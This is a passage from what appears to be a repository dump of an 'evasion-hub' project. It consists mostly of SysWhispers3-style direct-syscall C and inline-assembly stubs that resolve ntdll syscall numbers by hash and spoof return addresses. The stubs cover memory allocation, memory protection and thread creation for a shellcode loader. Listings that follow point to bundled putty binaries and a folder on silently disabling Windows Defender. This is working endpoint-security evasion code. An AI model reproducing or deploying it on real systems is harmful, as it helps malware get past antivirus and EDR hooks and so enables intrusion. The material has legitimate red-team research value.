MaximumStackSize, 370 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) 371 | { 372 | asm( 373 | "push ebp \n" 374 | "mov ebp, esp \n" 375 | "push 0xF4A9C216 \n" 376 | "call _SW3_GetSyscallAddress \n" 377 | "mov edi, eax \n" 378 | "push 0xF4A9C216 \n" 379 | "call _SW3_GetSyscallNumber \n" 380 | "lea esp, [esp+4] \n" 381 | "mov ecx, 0xb \n" 382 | "push_argument_F4A9C216: \n" 383 | "dec ecx \n" 384 | "push [ebp + 8 + ecx * 4] \n" 385 | "jnz push_argument_F4A9C216 \n" 386 | "mov ecx, eax \n" 387 | "mov eax, ecx \n" 388 | "lea ebx, [ret_address_epilog_F4A9C216] \n" 389 | "push ebx \n" 390 | "call do_sysenter_interrupt_F4A9C216 \n" 391 | "lea esp, [esp+4] \n" 392 | "ret_address_epilog_F4A9C216: \n" 393 | "mov esp, ebp \n" 394 | "pop ebp \n" 395 | "ret \n" 396 | "do_sysenter_interrupt_F4A9C216: \n" 397 | "mov edx, esp \n" 398 | "jmp edi \n" 399 | "ret \n" 400 | ); 401 | } 402 | 403 | __declspec(naked) NTSTATUS NtWaitForMultipleObjects( 404 | IN ULONG Count, 405 | IN PHANDLE Handles, 406 | IN WAIT_TYPE WaitType, 407 | IN BOOLEAN Alertable, 408 | IN PLARGE_INTEGER Timeout OPTIONAL) 409 | { 410 | asm( 411 | "push ebp \n" 412 | "mov ebp, esp \n" 413 | "push 0x2F3207AF \n" 414 | "call _SW3_GetSyscallAddress \n" 415 | "mov edi, eax \n" 416 | "push 0x2F3207AF \n" 417 | "call _SW3_GetSyscallNumber \n" 418 | "lea esp, [esp+4] \n" 419 | "mov ecx, 0x5 \n" 420 | "push_argument_2F3207AF: \n" 421 | "dec ecx \n" 422 | "push [ebp + 8 + ecx * 4] \n" 423 | "jnz push_argument_2F3207AF \n" 424 | "mov ecx, eax \n" 425 | "mov eax, ecx \n" 426 | "lea ebx, [ret_address_epilog_2F3207AF] \n" 427 | "push ebx \n" 428 | "call do_sysenter_interrupt_2F3207AF \n" 429 | "lea esp, [esp+4] \n" 430 | "ret_address_epilog_2F3207AF: \n" 431 | "mov esp, ebp \n" 432 | "pop ebp \n" 433 | "ret \n" 434 | "do_sysenter_interrupt_2F3207AF: \n" 435 | "mov edx, esp \n" 436 | "jmp edi \n" 437 | "ret \n" 438 | ); 439 | } 440 | 441 | #endif -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW3_HEADER_H_ 7 | #define SW3_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW3_SEED 0x82DA59B2 12 | #define SW3_ROL8(v) (v << 8 | v >> 24) 13 | #define SW3_ROR8(v) (v >> 8 | v << 24) 14 | #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) 15 | #define SW3_MAX_ENTRIES 500 16 | #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | typedef struct _SW3_SYSCALL_ENTRY 20 | { 21 | DWORD Hash; 22 | DWORD Address; 23 | PVOID SyscallAddress; 24 | } SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; 25 | 26 | typedef struct _SW3_SYSCALL_LIST 27 | { 28 | DWORD Count; 29 | SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; 30 | } SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; 31 | 32 | typedef struct _SW3_PEB_LDR_DATA { 33 | BYTE Reserved1[8]; 34 | PVOID Reserved2[3]; 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | } SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; 37 | 38 | typedef struct _SW3_LDR_DATA_TABLE_ENTRY { 39 | PVOID Reserved1[2]; 40 | LIST_ENTRY InMemoryOrderLinks; 41 | PVOID Reserved2[2]; 42 | PVOID DllBase; 43 | } SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; 44 | 45 | typedef struct _SW3_PEB { 46 | BYTE Reserved1[2]; 47 | BYTE BeingDebugged; 48 | BYTE Reserved2[1]; 49 | PVOID Reserved3[2]; 50 | PSW3_PEB_LDR_DATA Ldr; 51 | } SW3_PEB, *PSW3_PEB; 52 | 53 | DWORD SW3_HashSyscall(PCSTR FunctionName); 54 | BOOL SW3_PopulateSyscallList(); 55 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); 56 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); 57 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); 58 | 59 | typedef struct _UNICODE_STRING 60 | { 61 | USHORT Length; 62 | USHORT MaximumLength; 63 | PWSTR Buffer; 64 | } UNICODE_STRING, *PUNICODE_STRING; 65 | 66 | #ifndef InitializeObjectAttributes 67 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 68 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 69 | (p)->RootDirectory = r; \ 70 | (p)->Attributes = a; \ 71 | (p)->ObjectName = n; \ 72 | (p)->SecurityDescriptor = s; \ 73 | (p)->SecurityQualityOfService = NULL; \ 74 | } 75 | #endif 76 | 77 | typedef struct _PS_ATTRIBUTE 78 | { 79 | ULONG Attribute; 80 | SIZE_T Size; 81 | union 82 | { 83 | ULONG Value; 84 | PVOID ValuePtr; 85 | } u1; 86 | PSIZE_T ReturnLength; 87 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE; 88 | 89 | typedef struct _OBJECT_ATTRIBUTES 90 | { 91 | ULONG Length; 92 | HANDLE RootDirectory; 93 | PUNICODE_STRING ObjectName; 94 | ULONG Attributes; 95 | PVOID SecurityDescriptor; 96 | PVOID SecurityQualityOfService; 97 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 98 | 99 | typedef enum _WAIT_TYPE 100 | { 101 | WaitAll = 0, 102 | WaitAny = 1 103 | } WAIT_TYPE, *PWAIT_TYPE; 104 | 105 | typedef struct _PS_ATTRIBUTE_LIST 106 | { 107 | SIZE_T TotalLength; 108 | PS_ATTRIBUTE Attributes[1]; 109 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; 110 | 111 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 112 | IN HANDLE ProcessHandle, 113 | IN OUT PVOID * BaseAddress, 114 | IN ULONG ZeroBits, 115 | IN OUT PSIZE_T RegionSize, 116 | IN ULONG AllocationType, 117 | IN ULONG Protect); 118 | 119 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 120 | IN HANDLE ProcessHandle, 121 | IN OUT PVOID * BaseAddress, 122 | IN OUT PSIZE_T RegionSize, 123 | IN ULONG NewProtect, 124 | OUT PULONG OldProtect); 125 | 126 | EXTERN_C NTSTATUS NtCreateThreadEx( 127 | OUT PHANDLE ThreadHandle, 128 | IN ACCESS_MASK DesiredAccess, 129 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 130 | IN HANDLE ProcessHandle, 131 | IN PVOID StartRoutine, 132 | IN PVOID Argument OPTIONAL, 133 | IN ULONG CreateFlags, 134 | IN SIZE_T ZeroBits, 135 | IN SIZE_T StackSize, 136 | IN SIZE_T MaximumStackSize, 137 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); 138 | 139 | EXTERN_C NTSTATUS NtWaitForMultipleObjects( 140 | IN ULONG Count, 141 | IN PHANDLE Handles, 142 | IN WAIT_TYPE WaitType, 143 | IN BOOLEAN Alertable, 144 | IN PLARGE_INTEGER Timeout OPTIONAL); 145 | 146 | #endif 147 | -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/syscalls64.c: -------------------------------------------------------------------------------- 1 | #include "syscalls64.h" 2 | #include 3 | 4 | //#define DEBUG 5 | 6 | // JUMPER 7 | 8 | #ifdef _M_IX86 9 | 10 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { 11 | return (PVOID)__readfsdword(0xC0); 12 | } 13 | 14 | __declspec(naked) BOOL local_is_wow64(void) 15 | { 16 | asm( 17 | "mov eax, fs:[0xc0] \n" 18 | "test eax, eax \n" 19 | "jne wow64 \n" 20 | "mov eax, 0 \n" 21 | "ret \n" 22 | "wow64: \n" 23 | "mov eax, 1 \n" 24 | "ret \n" 25 | ); 26 | } 27 | 28 | #endif 29 | 30 | // Code below is adapted from @modexpblog. Read linked article for more details. 31 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 32 | 33 | SW3_SYSCALL_LIST SW3_SyscallList; 34 | 35 | // SEARCH_AND_REPLACE 36 | #ifdef SEARCH_AND_REPLACE 37 | // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release 38 | EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); 39 | #endif 40 | 41 | DWORD SW3_HashSyscall(PCSTR FunctionName) 42 | { 43 | DWORD i = 0; 44 | DWORD Hash = SW3_SEED; 45 | 46 | while (FunctionName[i]) 47 | { 48 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 49 | Hash ^= PartialName + SW3_ROR8(Hash); 50 | } 51 | 52 | return Hash; 53 | } 54 | 55 | #ifndef JUMPER 56 | PVOID SC_Address(PVOID NtApiAddress) 57 | { 58 | return NULL; 59 | } 60 | #else 61 | PVOID SC_Address(PVOID NtApiAddress) 62 | { 63 | DWORD searchLimit = 512; 64 | PVOID SyscallAddress; 65 | 66 | #ifdef _WIN64 67 | // If the process is 64-bit on a 64-bit OS, we need to search for syscall 68 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 69 | ULONG distance_to_syscall = 0x12; 70 | #else 71 | // If the process is 32-bit on a 32-bit OS, we need to search for sysenter 72 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 73 | ULONG distance_to_syscall = 0x0f; 74 | #endif 75 | 76 | #ifdef _M_IX86 77 | // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved 78 | if (local_is_wow64()) 79 | { 80 | #ifdef DEBUG 81 | printf("[+] Running 32-bit app on x64 (WOW64)\n"); 82 | #endif 83 | return NULL; 84 | } 85 | #endif 86 | 87 | // we don't really care if there is a 'jmp' between 88 | // NtApiAddress and the 'syscall; ret' instructions 89 | SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); 90 | 91 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 92 | { 93 | // we can use the original code for this system call :) 94 | #if defined(DEBUG) 95 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 96 | #endif 97 | return SyscallAddress; 98 | } 99 | 100 | // the 'syscall; ret' intructions have not been found, 101 | // we will try to use one near it, similarly to HalosGate 102 | 103 | for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) 104 | { 105 | // let's try with an Nt* API below our syscall 106 | SyscallAddress = SW3_RVA2VA( 107 | PVOID, 108 | NtApiAddress, 109 | distance_to_syscall + num_jumps * 0x20); 110 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 111 | { 112 | #if defined(DEBUG) 113 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 114 | #endif 115 | return SyscallAddress; 116 | } 117 | 118 | // let's try with an Nt* API above our syscall 119 | SyscallAddress = SW3_RVA2VA( 120 | PVOID, 121 | NtApiAddress, 122 | distance_to_syscall - num_jumps * 0x20); 123 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 124 | { 125 | #if defined(DEBUG) 126 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 127 | #endif 128 | return SyscallAddress; 129 | } 130 | } 131 | 132 | #ifdef DEBUG 133 | printf("Syscall Opcodes not found!\n"); 134 | #endif 135 | 136 | return NULL; 137 | } 138 | #endif 139 | 140 | 141 | BOOL SW3_PopulateSyscallList() 142 | { 143 | // Return early if the list is already populated. 144 | if (SW3_SyscallList.Count) return TRUE; 145 | 146 | #ifdef _WIN64 147 | PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); 148 | #else 149 | PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); 150 | #endif 151 | PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; 152 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 153 | PVOID DllBase = NULL; 154 | 155 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 156 | // in the list, so it's safer to loop through the full list and find it. 157 | PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; 158 | for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 159 | { 160 | DllBase = LdrEntry->DllBase; 161 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 162 | PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 163 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 164 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 165 | if (VirtualAddress == 0) continue; 166 | 167 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 168 | 169 | // If this is NTDLL.dll, exit loop. 170 | PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 171 | 172 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 173 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 174 | } 175 | 176 | if (!ExportDirectory) return FALSE; 177 | 178 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 179 | PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 180 | PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 181 | PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 182 | 183 | // Populate SW3_SyscallList with unsorted Zw* entries. 184 | DWORD i = 0; 185 | PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; 186 | do 187 | { 188 | PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 189 | 190 | // Is this a system call? 191 | if (*(USHORT*)FunctionName == 0x775a) 192 | { 193 | Entries[i].Hash = SW3_HashSyscall(FunctionName); 194 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 195 | Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); 196 | 197 | i++; 198 | if (i == SW3_MAX_ENTRIES) break; 199 | } 200 | } while (--NumberOfNames); 201 | 202 | // Save total number of system calls found. 203 | SW3_SyscallList.Count = i; 204 | 205 | // Sort the list by address in ascending order. 206 | for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) 207 | { 208 | for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) 209 | { 210 | if (Entries[j].Address > Entries[j + 1].Address) 211 | { 212 | // Swap entries. 213 | SW3_SYSCALL_ENTRY TempEntry; 214 | 215 | TempEntry.Hash = Entries[j].Hash; 216 | TempEntry.Address = Entries[j].Address; 217 | TempEntry.SyscallAddress = Entries[j].SyscallAddress; 218 | 219 | Entries[j].Hash = Entries[j + 1].Hash; 220 | Entries[j].Address = Entries[j + 1].Address; 221 | Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; 222 | 223 | Entries[j + 1].Hash = TempEntry.Hash; 224 | Entries[j + 1].Address = TempEntry.Address; 225 | Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; 226 | } 227 | } 228 | } 229 | 230 | return TRUE; 231 | } 232 | 233 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) 234 | { 235 | // Ensure SW3_SyscallList is populated. 236 | if (!SW3_PopulateSyscallList()) return -1; 237 | 238 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 239 | { 240 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 241 | { 242 | return i; 243 | } 244 | } 245 | 246 | return -1; 247 | } 248 | 249 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) 250 | { 251 | // Ensure SW3_SyscallList is populated. 252 | if (!SW3_PopulateSyscallList()) return NULL; 253 | 254 | for (DWORD i = 0; i < SW3_SyscallList.Count; i++) 255 | { 256 | if (FunctionHash == SW3_SyscallList.Entries[i].Hash) 257 | { 258 | return SW3_SyscallList.Entries[i].SyscallAddress; 259 | } 260 | } 261 | 262 | return NULL; 263 | } 264 | 265 | EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) 266 | { 267 | // Ensure SW3_SyscallList is populated. 268 | if (!SW3_PopulateSyscallList()) return NULL; 269 | 270 | DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; 271 | 272 | while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ 273 | // Spoofing the syscall return address 274 | index = ((DWORD) rand()) % SW3_SyscallList.Count; 275 | } 276 | return SW3_SyscallList.Entries[index].SyscallAddress; 277 | } 278 | #if defined(__GNUC__) 279 | 280 | __declspec(naked) NTSTATUS NtAllocateVirtualMemory( 281 | IN HANDLE ProcessHandle, 282 | IN OUT PVOID * BaseAddress, 283 | IN ULONG ZeroBits, 284 | IN OUT PSIZE_T RegionSize, 285 | IN ULONG AllocationType, 286 | IN ULONG Protect) 287 | { 288 | asm( 289 | "mov [rsp +8], rcx \n" 290 | "mov [rsp+16], rdx \n" 291 | "mov [rsp+24], r8 \n" 292 | "mov [rsp+32], r9 \n" 293 | "sub rsp, 0x28 \n" 294 | "mov ecx, 0x0B942107 \n" 295 | "call SW3_GetSyscallNumber \n" 296 | "add rsp, 0x28 \n" 297 | "mov rcx, [rsp+8] \n" 298 | "mov rdx, [rsp+16] \n" 299 | "mov r8, [rsp+24] \n" 300 | "mov r9, [rsp+32] \n" 301 | "mov r10, rcx \n" 302 | "syscall \n" 303 | "ret \n" 304 | ); 305 | } 306 | 307 | __declspec(naked) NTSTATUS NtProtectVirtualMemory( 308 | IN HANDLE ProcessHandle, 309 | IN OUT PVOID * BaseAddress, 310 | IN OUT PSIZE_T RegionSize, 311 | IN ULONG NewProtect, 312 | OUT PULONG OldProtect) 313 | { 314 | asm( 315 | "mov [rsp +8], rcx \n" 316 | "mov [rsp+16], rdx \n" 317 | "mov [rsp+24], r8 \n" 318 | "mov [rsp+32], r9 \n" 319 | "sub rsp, 0x28 \n" 320 | "mov ecx, 0x9D95891E \n" 321 | "call SW3_GetSyscallNumber \n" 322 | "add rsp, 0x28 \n" 323 | "mov rcx, [rsp+8] \n" 324 | "mov rdx, [rsp+16] \n" 325 | "mov r8, [rsp+24] \n" 326 | "mov r9, [rsp+32] \n" 327 | "mov r10, rcx \n" 328 | "syscall \n" 329 | "ret \n" 330 | ); 331 | } 332 | 333 | __declspec(naked) NTSTATUS NtCreateThreadEx( 334 | OUT PHANDLE ThreadHandle, 335 | IN ACCESS_MASK DesiredAccess, 336 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 337 | IN HANDLE ProcessHandle, 338 | IN PVOID StartRoutine, 339 | IN PVOID Argument OPTIONAL, 340 | IN ULONG CreateFlags, 341 | IN SIZE_T ZeroBits, 342 | IN SIZE_T StackSize, 343 | IN SIZE_T MaximumStackSize, 344 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) 345 | { 346 | asm( 347 | "mov [rsp +8], rcx \n" 348 | "mov [rsp+16], rdx \n" 349 | "mov [rsp+24], r8 \n" 350 | "mov [rsp+32], r9 \n" 351 | "sub rsp, 0x28 \n" 352 | "mov ecx, 0xC8270771 \n" 353 | "call SW3_GetSyscallNumber \n" 354 | "add rsp, 0x28 \n" 355 | "mov rcx, [rsp+8] \n" 356 | "mov rdx, [rsp+16] \n" 357 | "mov r8, [rsp+24] \n" 358 | "mov r9, [rsp+32] \n" 359 | "mov r10, rcx \n" 360 | "syscall \n" 361 | "ret \n" 362 | ); 363 | } 364 | 365 | __declspec(naked) NTSTATUS NtWaitForMultipleObjects( 366 | IN ULONG Count, 367 | IN PHANDLE Handles, 368 | IN WAIT_TYPE WaitType, 369 | IN BOOLEAN Alertable, 370 | IN PLARGE_INTEGER Timeout OPTIONAL) 371 | { 372 | asm( 373 | "mov [rsp +8], rcx \n" 374 | "mov [rsp+16], rdx \n" 375 | "mov [rsp+24], r8 \n" 376 | "mov [rsp+32], r9 \n" 377 | "sub rsp, 0x28 \n" 378 | "mov ecx, 0x0D42EA52 \n" 379 | "call SW3_GetSyscallNumber \n" 380 | "add rsp, 0x28 \n" 381 | "mov rcx, [rsp+8] \n" 382 | "mov rdx, [rsp+16] \n" 383 | "mov r8, [rsp+24] \n" 384 | "mov r9, [rsp+32] \n" 385 | "mov r10, rcx \n" 386 | "syscall \n" 387 | "ret \n" 388 | ); 389 | } 390 | 391 | #endif -------------------------------------------------------------------------------- /02-ShellcodeLoader/SysWhispers3WinHttp项目二开/syscalls64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW3_HEADER_H_ 7 | #define SW3_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW3_SEED 0xAF2610E1 12 | #define SW3_ROL8(v) (v << 8 | v >> 24) 13 | #define SW3_ROR8(v) (v >> 8 | v << 24) 14 | #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) 15 | #define SW3_MAX_ENTRIES 500 16 | #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW3_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | PVOID SyscallAddress; 25 | } SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; 26 | 27 | typedef struct _SW3_SYSCALL_LIST 28 | { 29 | DWORD Count; 30 | SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; 31 | } SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; 32 | 33 | typedef struct _SW3_PEB_LDR_DATA { 34 | BYTE Reserved1[8]; 35 | PVOID Reserved2[3]; 36 | LIST_ENTRY InMemoryOrderModuleList; 37 | } SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; 38 | 39 | typedef struct _SW3_LDR_DATA_TABLE_ENTRY { 40 | PVOID Reserved1[2]; 41 | LIST_ENTRY InMemoryOrderLinks; 42 | PVOID Reserved2[2]; 43 | PVOID DllBase; 44 | } SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; 45 | 46 | typedef struct _SW3_PEB { 47 | BYTE Reserved1[2]; 48 | BYTE BeingDebugged; 49 | BYTE Reserved2[1]; 50 | PVOID Reserved3[2]; 51 | PSW3_PEB_LDR_DATA Ldr; 52 | } SW3_PEB, *PSW3_PEB; 53 | 54 | DWORD SW3_HashSyscall(PCSTR FunctionName); 55 | BOOL SW3_PopulateSyscallList(); 56 | EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); 57 | EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); 58 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); 59 | typedef struct _PS_ATTRIBUTE 60 | { 61 | ULONG Attribute; 62 | SIZE_T Size; 63 | union 64 | { 65 | ULONG Value; 66 | PVOID ValuePtr; 67 | } u1; 68 | PSIZE_T ReturnLength; 69 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE; 70 | 71 | typedef struct _UNICODE_STRING 72 | { 73 | USHORT Length; 74 | USHORT MaximumLength; 75 | PWSTR Buffer; 76 | } UNICODE_STRING, *PUNICODE_STRING; 77 | 78 | #ifndef InitializeObjectAttributes 79 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 80 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 81 | (p)->RootDirectory = r; \ 82 | (p)->Attributes = a; \ 83 | (p)->ObjectName = n; \ 84 | (p)->SecurityDescriptor = s; \ 85 | (p)->SecurityQualityOfService = NULL; \ 86 | } 87 | #endif 88 | 89 | typedef struct _OBJECT_ATTRIBUTES 90 | { 91 | ULONG Length; 92 | HANDLE RootDirectory; 93 | PUNICODE_STRING ObjectName; 94 | ULONG Attributes; 95 | PVOID SecurityDescriptor; 96 | PVOID SecurityQualityOfService; 97 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 98 | 99 | typedef enum _WAIT_TYPE 100 | { 101 | WaitAll = 0, 102 | WaitAny = 1 103 | } WAIT_TYPE, *PWAIT_TYPE; 104 | 105 | typedef struct _PS_ATTRIBUTE_LIST 106 | { 107 | SIZE_T TotalLength; 108 | PS_ATTRIBUTE Attributes[1]; 109 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; 110 | 111 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 112 | IN HANDLE ProcessHandle, 113 | IN OUT PVOID * BaseAddress, 114 | IN ULONG ZeroBits, 115 | IN OUT PSIZE_T RegionSize, 116 | IN ULONG AllocationType, 117 | IN ULONG Protect); 118 | 119 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 120 | IN HANDLE ProcessHandle, 121 | IN OUT PVOID * BaseAddress, 122 | IN OUT PSIZE_T RegionSize, 123 | IN ULONG NewProtect, 124 | OUT PULONG OldProtect); 125 | 126 | EXTERN_C NTSTATUS NtCreateThreadEx( 127 | OUT PHANDLE ThreadHandle, 128 | IN ACCESS_MASK DesiredAccess, 129 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 130 | IN HANDLE ProcessHandle, 131 | IN PVOID StartRoutine, 132 | IN PVOID Argument OPTIONAL, 133 | IN ULONG CreateFlags, 134 | IN SIZE_T ZeroBits, 135 | IN SIZE_T StackSize, 136 | IN SIZE_T MaximumStackSize, 137 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); 138 | 139 | EXTERN_C NTSTATUS NtWaitForMultipleObjects( 140 | IN ULONG Count, 141 | IN PHANDLE Handles, 142 | IN WAIT_TYPE WaitType, 143 | IN BOOLEAN Alertable, 144 | IN PLARGE_INTEGER Timeout OPTIONAL); 145 | 146 | #endif 147 | -------------------------------------------------------------------------------- /02-ShellcodeLoader/putty-x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/02-ShellcodeLoader/putty-x64.exe -------------------------------------------------------------------------------- /02-ShellcodeLoader/putty-x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/02-ShellcodeLoader/putty-x86.exe -------------------------------------------------------------------------------- /03-杀软致盲/readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/readme.md -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/01.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/02.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/03.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/04.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/05.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/pic/06.png: -------------------------------------------------------------------------------- 